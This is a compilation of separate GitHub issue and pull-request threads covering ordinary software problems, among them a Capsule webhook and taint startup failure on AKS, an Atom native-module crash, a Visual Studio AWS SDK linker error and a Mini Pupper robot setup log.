[ ] Add 14days goals, locate the home.html.erb file in the project folder - /app/views/pages
[ ] Add changed file, see guide here
[ ] Commit the unstaged file, see guide here
[ ] Push the file, see guide here

Containerize the project

[ ] Add Dockerfile

Feeling confident

[ ] Find good first issues for Ruby to start contributing
[ ] Explore interesting projects and people to follow
[ ] Extend and improve your workflow using apps in Marketplace

/raisehand help me set up docker


Initialized back end with routes

Description
Initialized back end with routes and endpoints to users and pictures. Also added dev dependencies. Put in some boilerplate for authentication using passport (waiting on models before proceeding with this).
Dependencies added:

cors
express
passport
path
dotenv (dev)
morgan (dev)

Fixes # N/A
Type of change
Please delete options that are not relevant.

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[x] This change requires a documentation update

Change status

[x] Complete, tested, ready to review and merge
[ ] Complete, but not tested (may need new tests)
[ ] Incomplete/work-in-progress, PR is for discussion/feedback

How Has This Been Tested?
Please describe the tests that you ran to verify your changes. Provide instructions so we can reproduce. Please also list any relevant details for your test configuration

[x] Tested all routes and endpoints with Postman (/, /api, /api/users, /api/pictures)
[x] Tested all routes and endpoints with Browser (Chrome 68.0.3436.0) (same endpoints as above)

Checklist:

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[ ] My code has been reviewed by at least one peer
[x] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[x] I have added tests that prove my fix is effective or that my feature works
[x] New and existing unit tests pass locally with my changes
[ ] There are no merge conflicts

Models incoming.


wip #678: support for arm64 ios sim

WIP for #678

Removed arm64 from pod spec excluded arch
Added aarch64-apple-ios-sim target to cargo build and limo
Export IPHONEOS_DEPLOYMENT_TARGET=10.0 environment variable, since -mios-simulator-version-min=10.0 doesn't seem to work in packages/mdbx_sys/build.rs
Reference: https://github.com/rust-lang/cc-rs/pull/433/files#

I did not realized that aarch64-apple-ios and aarch64-apple-ios-sim has to be shipped separately because it's the same arch. This fix might need XCframework or a workaround to ship aarch64-apple-ios-sim.

Yeah exactly that's the problem why I didn't ship an arm64sim binary.
We need to use an xcframework

It works now using xcframework. Thanks for your help!


Unable to start aks cluster after capsule installation

Bug description
We are using capsule and capsule proxy on hosted aks clusters and stumbled over an issue that broke a couple of them. Basically, if all nodes of a cluster are stopped and then started again, the cluster runs into a fail state that forced us to delete it.
From what we gathered the root of the issue is how capsule and hosted clusters (don't) work together. It is common for cloud providers to automatically set a node.cloudprovider.kubernetes.io/uninitialized taint on nodes after they are started or after scaling out (also see https://kubernetes.io/docs/reference/labels-annotations-taints/#node-cloudprovider-kubernetes-io-uninitialized). I believe the idea is basically to block new nodes from running workloads until its startup procedures have completed to ensure that it properly works for the hosted service. Once that's done, the cloud provider sends a request to the kubernetes api to remove the taint and allow workloads to run on it.
Which works fine for single nodes, after scaling out or upgrades or something. But if an entire cluster has been shut down (e.g. for troubleshooting, disaster recovery, or if it's a test instance that doesn't need to be running all the time) all nodes will have that taint, so all (non-critical) workloads are blocked until the taint is removed from these node.
Issue is that with capsule installed, (as far as I understand it) these calls to the management api are automatically rerouted to capsule instead, which isn't running at this point, turning it into a chicken-egg problem where azure cannot clear the tainted nodes since the capsule api is not available to receive the request, and capsule cannot start since all nodes it could run on are tainted.
As a result, azure is waiting for the cluster to finish it startup procedure, during which the cluster cannot be stopped or deleted since it's stuck in a startup state. After around 3-4 hours azure finally gives up and let's you retry the startup or delete it.
Now, maybe there's a way to recover a cluster in this state - but since this happened on dev environments it was easier to just delete it and deploy the cluster from scratch, so we didn't invest a a lot of time into trying to troubleshoot it. We ultimately solved the problem by adding tolerations for the taint to capsule and capsule proxy and (for good measure) raised the priority of the pods to ensure they always run:
tolerations:
  - key: "CriticalAddonsOnly"
    operator: "Equal"
    value: "true"
    effect: "NoSchedule"
  - key: "node.cloudprovider.kubernetes.io/uninitialized"
    operator: "Equal"
    value: "true"
    effect: "NoSchedule"

priorityClassName: system-node-critical

When the issue occurs, the error message looks like this:
kind: Event
apiVersion: v1
metadata:
  name: capsule-controller-manager-8558cb9f-mrmx2.175d20f1ebd0fad9
  namespace: capsule-system
  uid: 5bf63e01-92f4-4acd-af4d-af9c3f01f421
  resourceVersion: '2567'
  creationTimestamp: '2023-05-08T09:27:39Z'
  managedFields:
    - manager: kube-scheduler
      operation: Update
      apiVersion: events.k8s.io/v1
      time: '2023-05-08T09:27:39Z'
      fieldsType: FieldsV1
      fieldsV1:
        f:action: {}
        f:eventTime: {}
        f:note: {}
        f:reason: {}
        f:regarding: {}
        f:reportingController: {}
        f:reportingInstance: {}
        f:type: {}
involvedObject:
  kind: Pod
  namespace: capsule-system
  name: capsule-controller-manager-8558cb9f-mrmx2
  uid: 7129bb2d-3e12-415f-a1c3-488e91a5460a
  apiVersion: v1
  resourceVersion: '26850'
reason: FailedScheduling
message: >-
  0/5 nodes are available: 1 node(s) had untolerated taint
  {node.cloudprovider.kubernetes.io/uninitialized: true}, 1 node(s) had
  untolerated taint {virtual-kubelet.io/provider: azure}, 3 node(s) had
  untolerated taint {CriticalAddonsOnly: true}. preemption: 0/5 nodes are
  available: 5 Preemption is not helpful for scheduling.
source: {}
firstTimestamp: null
lastTimestamp: null
type: Warning
eventTime: '2023-05-08T09:27:39.121978Z'
action: Scheduling
reportingComponent: default-scheduler
reportingInstance: default-scheduler-kube-scheduler-v2-744b659fbd-krxg9

Additional context
We are using the following versions  with no changes made to the default values file for capsule or capsule-proxy when the error occurred:

Helm Chart version: capsule-0.4.2, capsule-proxy-0.4.3

To be clear - we mitigated the problem on our end, I just opened this issue to highlight that there could be a possible gotcha when getting started with capsule on azure.

Hey @micke-post, could this be a duplicate of this issue?
https://github.com/clastix/capsule/issues/597#issuecomment-1164404524

I don't think so, one of the first things I tried is adding the following configuration to the capsule helm value file:
webhooks:
  nodes:
    # Set to ignore to prevent the cluster from breaking when restarting with capsule installed
    failurePolicy: Ignore

  namespaceOwnerReference:
    failurePolicy: Ignore
  cordoning:
    failurePolicy: Ignore
  ingresses:
    failurePolicy: Ignore
  namespaces:
    failurePolicy: Ignore
  networkpolicies:
    failurePolicy: Ignore
  pods:
    failurePolicy: Ignore
  persistentvolumeclaims:
    failurePolicy: Ignore
  tenants:
    failurePolicy: Ignore
  tenantResourceObjects:
    failurePolicy: Ignore
  services:
    failurePolicy: Ignore
  defaults:
    ingress:
      failurePolicy: Ignore
    pvc:
      failurePolicy: Ignore
    pods:
      failurePolicy: Ignore

But that didn't seem to make any difference to the deployment.

I think it was because capsule was unable to start and patch webhook configuration due to taints on nodes. One of the ways to fix it is to add toleration for this taint for capsule deployment

I think it was because capsule was unable to start and patch webhook configuration due to taints on nodes.

I'm not getting the point of the issue here, also considering the code.
https://github.com/clastix/capsule/blob/5977bbd9e11fba4c5f947c83912208c291e0b642/controllers/tls/manager.go#L255-L273
Capsule is patching the webhook by adding the required CA, we're not changing the failure policy of the nodes.
Please, may I ask you to double-check if the ValidatingWebhookConfiguration nodes webhook is set to Ignore as a failure policy?
Because this is what happened to @JacekLakis-TomTom with #719 and he was able to solve it as follows.
https://github.com/clastix/capsule/issues/719#issuecomment-1451490767

Alright, nevermind. I now retried the whole configuration on multiple newly deployed clusters and I cannot get them to fail again, tolerations or not. I'm still going to leave them in since, as @MaxFedotov mentioned, it's probably not a bad idea to have them, but it now looks like just setting the webhooks to ignore is fine.
One more question - I'm now setting all webhooks to ignore, but I guess that's not the best idea? Is there a specific webhook I should set to ignore for the startup to work?

One more question - I'm now setting all webhooks to ignore, but I guess that's not the best idea? Is there a specific webhook I should set to ignore for the startup to work?

With a Failure policy you're getting a best-effort multi-tenancy in Kubernetes, e.g.
I'm a Tenant Owner with an assigned quota of namespaces I can create. For any reason, Capsule is not able to serve the validation webhook of Namespace creations, thus the request is sent to the API Server directly without the Capsule mangling, ending up in creating multiple namespaces and bypassing the quota.
This is applicable to all the features offered by Capsule, so play it at your own risk: I would suggest running Capsule with a higher priority class, on a specific node pool which are not gonna be shutdown, and with a replicas of two instances so you can ensure HA for the webhooks.

Closing since it seems solved to me, feel free to open it back, @micke-post!


pull request for e2e test at 12/12/2016 02:26:02

:white_check_mark: Validation status: passed
For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Uncaught Error: error: 126/?~\AppData\Local\atom\app-1.26.1\resources\app.asar.unpacked\node_mo...

[Enter steps to reproduce:]

just type something

Atom: 1.26.1 x64
Electron: 1.7.11
OS: win10
Thrown From: Atom Core
Stack Trace
Uncaught Error: error: 126\?\C:\Users\kacym\AppData\Local\atom\app-1.26.1\resources\app.asar.unpacked\node_modules\keyboard-layout\build\Release\keyboard-layout-manager.node
At ELECTRON_ASAR.js:173

Error: error: 126\\?\C:\Users\kacym\AppData\Local\atom\app-1.26.1\resources\app.asar.unpacked\node_modules\keyboard-layout\build\Release\keyboard-layout-manager.node
    at process.module.(anonymous function) [as dlopen] (ELECTRON_ASAR.js:173:20)
    at Object.Module._extensions..node (module.js:598:18)
    at Object.module.(anonymous function) [as .node] (ELECTRON_ASAR.js:187:18)
    at Module.load (module.js:488:32)
    at tryModuleLoad (module.js:447:12)
    at Function.Module._load (module.js:439:3)
    at Module.require (/app.asar/static/index.js:47:45)
    at require (internal/module.js:20:19)
    at customRequire (~/AppData/Local/atom/app-1.26.1/resources/app/static/<embedded>:96:26)
    at get_KeyboardLayoutManager (~/AppData/Local/atom/app-1.26.1/resources/app/node_modules/keyboard-layout/lib/keyboard-layout.js:7:65)
    at get_manager (~/AppData/Local/atom/app-1.26.1/resources/app/node_modules/keyboard-layout/lib/keyboard-layout.js:16:42)
    at Object.getCurrentKeyboardLayout (~/AppData/Local/atom/app-1.26.1/resources/app/node_modules/keyboard-layout/lib/keyboard-layout.js:32:17)
    at exports.keystrokeForKeyboardEvent (~/AppData/Local/atom/app-1.26.1/resources/app/node_modules/atom-keymap/lib/helpers.js:201:42)
    at KeymapManager.module.exports.KeymapManager.keystrokeForKeyboardEvent (~/AppData/Local/atom/app-1.26.1/resources/app/node_modules/atom-keymap/lib/keymap-manager.js:467:20)
    at KeymapManager.module.exports.KeymapManager.handleKeyboardEvent (~/AppData/Local/atom/app-1.26.1/resources/app/node_modules/atom-keymap/lib/keymap-manager.js:347:30)
    at WindowEventHandler.handleDocumentKeyEvent (~/AppData/Local/atom/app-1.26.1/resources/app/src/window-event-handler.js:110:40)

Commands

Non-Core Packages
atom-discord 1.5.1
gray-light-theme 0.0.0 -> made by me
language-twig 1.6.3
language-vue 0.23.1
php-twig 4.0.0
remote-sync 4.1.8
vue2-autocomplete 0.1.0-alpha.4

I think this is a duplicate of issues like #15722. If you have any anti-virus software running, please check if there are any messages about quarantining this file and then see if you can restore it, or try to re-install with your anti-virus temporarily disabled. If you don't have any anti-virus software running or re-installing doesn't help, let me know (it could be a dupe of https://github.com/atom/atom/issues/14461 as well).


docs: fix drag and drop docs

I found some missing (and some extra) arguments in drag and drop docs.

Thanks for catching this @kblok!


docs: Added links to tutorial notebooks in the documentation

This PR introduces the following modifications:

adds a notebooks folder that will reference all notebooks to be displayed in the documentation
added a symlink in sphinx documentation to use this README to generate an identical page in the documentation
added corresponding sphinx deps to handle tables

Here is how the corresponding documentation page renders:

Closes #558
Any feedback is welcome!

Looks great 👍

Looks great +1 But can you add the .render() method also in your example notebook ? :)

Thanks for the suggestion, I plan on making a notebook about Document elements, and I intended to keep that for this purpose to avoid throwing to much information for a "quick tour" ;)


⚠ Bofrost.at has degraded performance

In 0d45e20, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1277 ms

Resolved: Bofrost.at performance has improved in 456b836.


View on navigator links aren't showing up in the /beta/ site

Possibly an issue with the config to use the beta navigator on the develop branch (#100).

Staged in subtechniques-2.1


Test gitian build: MacOS High Sierra (v3.1.0-rc7.2)

PreRelease v3.1.00-rc7.2:

Downloads for Mac:

Logs (Mac)
build.log, install.log
Gitian signatures

@gitianuser   3.1.00-rc7.2-osx-unsigned

Community is not active, I dont use MacOS binaries and with that issue closed. If somebody tests and has any issues, feel free to reopne or create new issue.


[The One Ring Second Edition] - Added fatigue and treasure

Changes / Comments
Added fatigue and treasure (rating and carried) both these auto update load
Roll20 Requests
Comments are very helpful for reviewing the code changes. Please answer the relevant questions below in your comment.

[Yes ] Does the pull request title have the sheet name(s)? Include each sheet name.
[No ] Is this a bug fix?
[Yes ] Does this add functional enhancements (new features or extending existing features) ?
[No ] Does this add or change functional aesthetics (such as layout or color scheme) ?
[None removed ] If changing or removing attributes, what steps have you taken, if any, to preserve player data ?
[Not new ] If this is a new sheet, did you follow Building Character Sheets standards ?

If you do not know English. Please leave a comment in your native language.

Character Sheet Info Roll20 Internal Use only.


Implement new sidebar design

Update sidebar design and ensure consistency on mobile sidebar.
Also renamed "Notebook" -> "Lab Notebook"
Expanded

Minimized

Mobile
Signed In

iPhone 12
iPhone SE

Signed Out

iPhone 12
iPhone SE

@manveerxyz I ran into a few issues:


No replacement when inside a callout

I have an issue with search-replace inside of callouts.
In the _quarto.yml I have:
filters:
  - search-replace
search-replace:
  +hello: "Hello world"

In a .qmd document the replacement works outside of the callout, but not inside.

## +hello <!-- returns: "Hello world" -->

::: {.callout}

## +hello <!-- returns: "+hello" -->

...Callout text...

:::

Is there a workaround for this issue?

@francojc : The issue is fixed, for quarto 1.3.


Added a readCyl4D function to imaging.analysis

Fliplr is removed due to CGH inversion.

Accept this.

Please accept pull request.


Mention that Connections need to be enabled in the Entity Settings

It would be great if you mention that Connections need to be enabled in the settings of an entity, otherwise entities that have that option disabled will not be visible in "Select record types" list on the Connection Role form.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: d7eaa696-c958-2ba4-c3e5-1390c09326d4
Version Independent ID: a3d1e8de-b634-b5a2-b13d-8fd0f3ab1b86
Content: Configure connection roles - PowerApps
Content Source: powerapps-docs/maker/common-data-service/configure-connection-roles.md
Service: powerapps
GitHub Login: @Mattp123
Microsoft Alias: matp

@AleksandrRogov - Thank you for your feedback. The topic has been updated to alert the reader of the Enable connections setting following the procedure to do so. https://docs.microsoft.com/en-us/powerapps/maker/common-data-service/configure-connection-roles#enable-connection-roles-for-an-entity
Closing issue.


VS2019 linker error

In Visual Studio 2019 (v16.2.2), create a new Console Application. (SDK 10.0.18362.0)
Add Nuget package AWSSDKCPP-STS and dependencies.
Instantiating an object:
#include <aws/sts/STSClient.h>

int main()
{
    Aws::Client::ClientConfiguration clientConfig;
}

Then yields linker errors:

1>------ Build started: Project: ConsoleApplication1, Configuration: Debug x64 ------
1>ConsoleApplication1.cpp
1>ConsoleApplication1.obj : error LNK2019: unresolved external symbol "__declspec(dllimport) public: __cdecl Aws::Client::ClientConfiguration::ClientConfiguration(void)" (_imp??0ClientConfiguration@Client@Aws@@QEAA@XZ) referenced in function main
1>ConsoleApplication1.obj : error LNK2019: unresolved external symbol "__declspec(dllimport) public: __cdecl Aws::Client::ClientConfiguration::~ClientConfiguration(void)" (_imp??1ClientConfiguration@Client@Aws@@QEAA@XZ) referenced in function main
1>C:\Users\major\temp\ConsoleApplication1\x64\Debug\ConsoleApplication1.exe : fatal error LNK1120: 2 unresolved externals
1>Done building project "ConsoleApplication1.vcxproj" -- FAILED.
========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========

The same steps in VS2015 (14.0.25431.01 Update 3) will compile with no linker errors.
I have not tested VS2017.
Back in VS2019, linking against AWS libraries created using Cmake/msbuild also fails with error LNK2019.
Preprocessor definitions USE_IMPORT_EXPORT and USE_WINDOWS_DLL_SEMANTICS have not resolved the issue.

Hi @MajorMurphy, we don't really support Nuget anymore.
We recommend building the sdk from source, we have instructions for that in the Readme, and you can find more info on #1154
I've tested this on VS2019 too so it should work just fine, but let me know if you have troubles with it.


Update pretty reporters section in the readme

The links to pretty reporters in the readme were changed to npmjs.com and made clickable.  The package description was also added.

The links are already clickable in the README, as you can see on https://github.com/substack/tape - Github auto-links them.
However, the change to npmjs.com seems good, so this LGTM.

They aren't clickable on https://www.npmjs.com/package/tape#pretty-reporters

I've filed this here and here so that can be fixed on npm itself.


Provide file sha/hash?

Every time I write some sort of ingester, I like to avoid inputting content that already exists.
Usually I'll do this with something like sha256.    Is there any chance django-filer could provide an API to get a hash of a file (as well as automatically store these on upload) ?
Places like S3 already provide an md5 via the etag, which could be worth hooking into.

There already is a column "sha1" in the table "filer_file" that is populated automatically but it's not displayed in the admin unfortunately.

Cheers.
I'll probably have a table somewhere to map sha1s to the etag value s3 uses - is a place I can hook into, to run code after images are saved + calculate this ?


Add Explicit Restart Step

Due to feedback, reintroducing the restart step as it has hit some people.

This PR isn't cool enough for @ElleEss


PowerRename tests fail randomly

We've seen progressively more of these.  We really need to figure out the 'why'.
One thing i would like to do is change file names to so they are always unique versus possible file-in-use errors if stuff is run parallel.

Should we close #6186 to this?

yes

sorry, took it as close this into that.


Add conflicts_with stanzas to gitx, laullon-gitx, rowanj-gitx

'gitx' definition is invalid: 'conflicts_with' stanza may only appear once (Hbc::CaskInvalidError)

Is there a reason for this? We allow multiple depends_on stanzas, why not conflicts_with?

conflicts_with :cask => 'laullon-gitx',
               :cask => 'rowanj-gitx'

should work, I think. conflicts_with hasn’t been implemented yet, though, it’s only a stub, so it might just be a temporary oversight.

I like that better than the array syntax, at least. I'll make the change.

Wait, no. That won't work. The options are a hash, and that would duplicate keys.

@vitorgalvao Fixed up the conflicts_with stanzas as per @rolandwalker's comment in #9201.


serve URL polyfill for BlackBerry devices

According to caniuse, it's not supported on all blackberry devices.  https://caniuse.com/#feat=url

@mcfog Are you able to prove that this polyfill works on BlackBerry devices at all? A picture of a BlackBerry device loading the polyfill and passing all the tests in the test suite would be the best way to prove it is working :-)

@JakeChampion  Sorry but I don't have such device in hand. I just find some related error log on blackberry, and fixed them (at least the error log) by adding URL|gated|always in features parameter


AttributeError at /keycloak/login 'NoneType' object has no attribute 'client'

I am having this issue: AttributeError at /keycloak/login
'NoneType' object has no attribute 'client' when attempting to login to my admin area on my site.
I have followed each of the directions listed here to install django-keycloak to my application: https://django-keycloak.readthedocs.io/en/latest/index.html
This is a snippet of my settings.py:
middleware = [
'django_keycloak.middleware.BaseKeycloakMiddleware',
'django_keycloak.middleware.RemoteUserAuthenticationMiddleware',
]
AUTHENTICATION_BACKENDS = (
'django.contrib.auth.backends.ModelBackend',
'pinax.announcements.auth_backends.AnnouncementPermissionsBackend',
'django_keycloak.auth.backends.KeycloakAuthorizationCodeBackend',
)
LOGIN_URL = 'keycloak_login'
urls.py
url(r'^keycloak/', include('django_keycloak.urls')),
Can someone please help me understand what is going on.
Also here are my setup for keycloak:

Keycloak installed on localhost
Postgres database
Client with Client ID and Secret are setup with Realm

Have you solved this issue? I got the same error.


docs: update checklist in all issue forms

Related Issue
Closes: #960
Changes made 👷🏻♂
Updated checklist:

add a non-mandatory field: I am a GSSoC23 contributor
add link to check similar issue

Screenshots  📸

Image

Hi @Anmol-Baranwal , please enable issues on the fork version, this helps me interact and cross check for the same !

Hi @Anmol-Baranwal , please enable issues on the fork version, this helps me interact and cross check for the same !

Sure, give me 10 minutes as I am away from the Laptop.

Hi @Anmol-Baranwal , please enable issues on the fork version, this helps me interact and cross check for the same !

I have enabled it, but it won't be visible because it is not on the main branch.
These are the basic ones, and since there are no errors, they will work as intended.

What is the status? Is there any problem.


Got "Error! DKMS tree already contains: xxx"

Reproduction steps
clone the repos by hand
$git clone https://github.com/mangdangroboticsclub/mini_pupper
$git clone https://github.com/mangdangroboticsclub/mini_pupper_bsp.git
comment this line
sudo vi mini_pupper/v1_bsp_ros2/setup.sh
#git clone https://github.com/mangdangroboticsclub/mini_pupper_bsp.git
comment the below version comparation lines
$sudo vi mini_pupper_bsp/get-version.sh
#if [[ ! "${COMMIT}" = "${TAG_COMMIT}" ]];
#then
#  VERSION=$(echo ${VERSION}-next-${COMMIT}-${DATE})
#fi
#if [[ "${VERSION}" = "" ]];
#then
# VERSION=${COMMIT}-${DATA}
#fi
#if [[ $(git status --porcelain|wc -l) > 0 ]];
#then
#  VERSION=${VERSION}-dirty
#fi

run auto install script on Mini Pupper
$./mini_pupper/v1_bsp_ros2/setup.sh
Actual results
Error! DKMS tree already contains: at24-1.0
Expected results
it shall install successfully
Version
Mini Pupper
Relevant log output
ubuntu@minipupper:~$ ./mini_pupper/v1_bsp_ros2/setup.sh
setup.sh started at Mon Apr 24 11:47:12 PM CST 2023
Get:1 http://mirrors.tuna.tsinghua.edu.cn/ros2/ubuntu jammy InRelease [4,673 B]
Hit:2 http://ports.ubuntu.com/ubuntu-ports jammy InRelease
Hit:3 http://ports.ubuntu.com/ubuntu-ports jammy-updates InRelease
Hit:4 http://ports.ubuntu.com/ubuntu-ports jammy-backports InRelease
Hit:5 http://ports.ubuntu.com/ubuntu-ports jammy-security InRelease
Fetched 4,673 B in 2s (2,075 B/s)
Reading package lists... Done
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
python-is-python3 is already the newest version (3.9.2-2).
python3-virtualenv is already the newest version (20.13.0+ds-2).
python3 is already the newest version (3.10.6-1~22.04).
python3-pip is already the newest version (22.0.2+dfsg-1ubuntu0.2).
python3-venv is already the newest version (3.10.6-1~22.04).
The following packages were automatically installed and are no longer required:
  dmeventd dmraid dpkg-repack efibootmgr gir1.2-snapd-1 gir1.2-timezonemap-1.0 gir1.2-xkl-1.0 grub-common grub-efi-arm64
  grub-efi-arm64-bin grub-efi-arm64-signed grub2-common kpartx kpartx-boot libdebian-installer4 libdevmapper-event1.02.1
  libdmraid1.0.0.rc16 libflashrom1 libftdi1-2 libllvm13 liblvm2cmd2.03 libtimezonemap-data libtimezonemap1
  linux-headers-5.15.0-1012-raspi linux-image-5.15.0-1012-raspi linux-modules-5.15.0-1012-raspi
  linux-raspi-headers-5.15.0-1012 lvm2 os-prober python3-debconf python3-debian python3-icu python3-pam rdate
  thin-provisioning-tools
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 1 not upgraded.
Get:1 http://mirrors.tuna.tsinghua.edu.cn/ros2/ubuntu jammy InRelease [4,673 B]
Hit:2 http://ports.ubuntu.com/ubuntu-ports jammy InRelease
Hit:3 http://ports.ubuntu.com/ubuntu-ports jammy-updates InRelease
Hit:4 http://ports.ubuntu.com/ubuntu-ports jammy-backports InRelease
Hit:5 http://ports.ubuntu.com/ubuntu-ports jammy-security InRelease
Fetched 4,673 B in 2s (2,203 B/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
1 package can be upgraded. Run 'apt list --upgradable' to see it.
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Calculating upgrade... Done
The following packages were automatically installed and are no longer required:
  dmeventd dmraid dpkg-repack efibootmgr gir1.2-snapd-1 gir1.2-timezonemap-1.0 gir1.2-xkl-1.0 grub-common grub-efi-arm64
  grub-efi-arm64-bin grub-efi-arm64-signed grub2-common kpartx kpartx-boot libdebian-installer4 libdevmapper-event1.02.1
  libdmraid1.0.0.rc16 libflashrom1 libftdi1-2 libllvm13 liblvm2cmd2.03 libtimezonemap-data libtimezonemap1
  linux-headers-5.15.0-1012-raspi linux-image-5.15.0-1012-raspi linux-modules-5.15.0-1012-raspi
  linux-raspi-headers-5.15.0-1012 lvm2 os-prober python3-debconf python3-debian python3-icu python3-pam rdate
  thin-provisioning-tools
Use 'sudo apt autoremove' to remove them.
Get more security updates through Ubuntu Pro with 'esm-apps' enabled:
  libjs-jquery-ui libopenexr-dev libopenexr25 libswscale-dev libavcodec58
  libavutil56 libswscale5 libavutil-dev libswresample3 libavformat58
  libavformat-dev libavcodec-dev libswresample-dev
Learn more about Ubuntu Pro at https://ubuntu.com/pro
The following packages have been kept back:
  gnome-remote-desktop
0 upgraded, 0 newly installed, 0 to remove and 1 not upgraded.
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
python-is-python3 is already the newest version (3.9.2-2).
i2c-tools is already the newest version (4.3-2build1).
mpg321 is already the newest version (0.3.2-3.1ubuntu1).
curl is already the newest version (7.81.0-1ubuntu1.10).
dpkg-dev is already the newest version (1.21.1ubuntu2.1).
openssh-server is already the newest version (1:8.9p1-3ubuntu0.1).
python3-tk is already the newest version (3.10.6-1~22.04).
The following packages were automatically installed and are no longer required:
  dmeventd dmraid dpkg-repack efibootmgr gir1.2-snapd-1 gir1.2-timezonemap-1.0 gir1.2-xkl-1.0 grub-common grub-efi-arm64
  grub-efi-arm64-bin grub-efi-arm64-signed grub2-common kpartx kpartx-boot libdebian-installer4 libdevmapper-event1.02.1
  libdmraid1.0.0.rc16 libflashrom1 libftdi1-2 libllvm13 liblvm2cmd2.03 libtimezonemap-data libtimezonemap1
  linux-headers-5.15.0-1012-raspi linux-image-5.15.0-1012-raspi linux-modules-5.15.0-1012-raspi
  linux-raspi-headers-5.15.0-1012 lvm2 os-prober python3-debconf python3-debian python3-icu python3-pam rdate
  thin-provisioning-tools
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 1 not upgraded.
--2023-04-24 23:47:32--  https://bootstrap.pypa.io/get-pip.py
Resolving bootstrap.pypa.io (bootstrap.pypa.io)... <IP_ADDRESS>, 2a04:4e42:12::175
Connecting to bootstrap.pypa.io (bootstrap.pypa.io)|<IP_ADDRESS>|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2578194 (2.5M) [text/x-python]
Saving to: ‘get-pip.py.1’

get-pip.py.1                    100%[=======================================================>]   2.46M  10.4MB/s    in 0.2s

2023-04-24 23:47:32 (10.4 MB/s) - ‘get-pip.py.1’ saved [2578194/2578194]

Collecting pip
  Using cached pip-23.1.1-py3-none-any.whl (2.1 MB)
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 23.1.1
    Uninstalling pip-23.1.1:
      Successfully uninstalled pip-23.1.1
Successfully installed pip-23.1.1
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
Requirement already satisfied: setuptools==58.2.0 in /usr/local/lib/python3.10/dist-packages (58.2.0)
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
python3-dev is already the newest version (3.10.6-1~22.04).
The following packages were automatically installed and are no longer required:
  dmeventd dmraid dpkg-repack efibootmgr gir1.2-snapd-1 gir1.2-timezonemap-1.0 gir1.2-xkl-1.0 grub-common grub-efi-arm64
  grub-efi-arm64-bin grub-efi-arm64-signed grub2-common kpartx kpartx-boot libdebian-installer4 libdevmapper-event1.02.1
  libdmraid1.0.0.rc16 libflashrom1 libftdi1-2 libllvm13 liblvm2cmd2.03 libtimezonemap-data libtimezonemap1
  linux-headers-5.15.0-1012-raspi linux-image-5.15.0-1012-raspi linux-modules-5.15.0-1012-raspi
  linux-raspi-headers-5.15.0-1012 lvm2 os-prober python3-debconf python3-debian python3-icu python3-pam rdate
  thin-provisioning-tools
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 1 not upgraded.
Processing /home/ubuntu/mini_pupper_bsp/Python_Module
  Preparing metadata (setup.py) ... done
Requirement already satisfied: Pillow in /usr/lib/python3/dist-packages (from MangDang==0.3.1) (9.0.1)
Requirement already satisfied: RPi.GPIO in /usr/local/lib/python3.10/dist-packages (from MangDang==0.3.1) (0.7.1)
Requirement already satisfied: numpy in /usr/local/lib/python3.10/dist-packages (from MangDang==0.3.1) (1.24.0)
Requirement already satisfied: spidev in /usr/local/lib/python3.10/dist-packages (from MangDang==0.3.1) (3.6)
Building wheels for collected packages: MangDang
  Building wheel for MangDang (setup.py) ... done
  Created wheel for MangDang: filename=MangDang-0.3.1-py2.py3-none-any.whl size=88817 sha256=6eb5be21eef94b7ec8e602eca87b0400b2c6ab25121b1cef7a50adafc8b4c462
  Stored in directory: /tmp/pip-ephem-wheel-cache-v2td5gvv/wheels/cb/d3/ce/d9d247987d3af4bfd4b677cafa97336974c08180612de3a4c1
Successfully built MangDang
Installing collected packages: MangDang
  Attempting uninstall: MangDang
    Found existing installation: MangDang 0.3.1
    Uninstalling MangDang-0.3.1:
      Successfully uninstalled MangDang-0.3.1
Successfully installed MangDang-0.3.1
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
dkms is already the newest version (2.8.7-2ubuntu2.1).
The following packages were automatically installed and are no longer required:
  dmeventd dmraid dpkg-repack efibootmgr gir1.2-snapd-1 gir1.2-timezonemap-1.0 gir1.2-xkl-1.0 grub-common grub-efi-arm64
  grub-efi-arm64-bin grub-efi-arm64-signed grub2-common kpartx kpartx-boot libdebian-installer4 libdevmapper-event1.02.1
  libdmraid1.0.0.rc16 libflashrom1 libftdi1-2 libllvm13 liblvm2cmd2.03 libtimezonemap-data libtimezonemap1
  linux-headers-5.15.0-1012-raspi linux-image-5.15.0-1012-raspi linux-modules-5.15.0-1012-raspi
  linux-raspi-headers-5.15.0-1012 lvm2 os-prober python3-debconf python3-debian python3-icu python3-pam rdate
  thin-provisioning-tools
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 1 not upgraded.
Creating symlink /var/lib/dkms/max1720x_battery/1.0/source -> /usr/src/max1720x_battery-1.0

Kernel preparation unnecessary for this kernel. Skipping...

Building module:
cleaning build area...
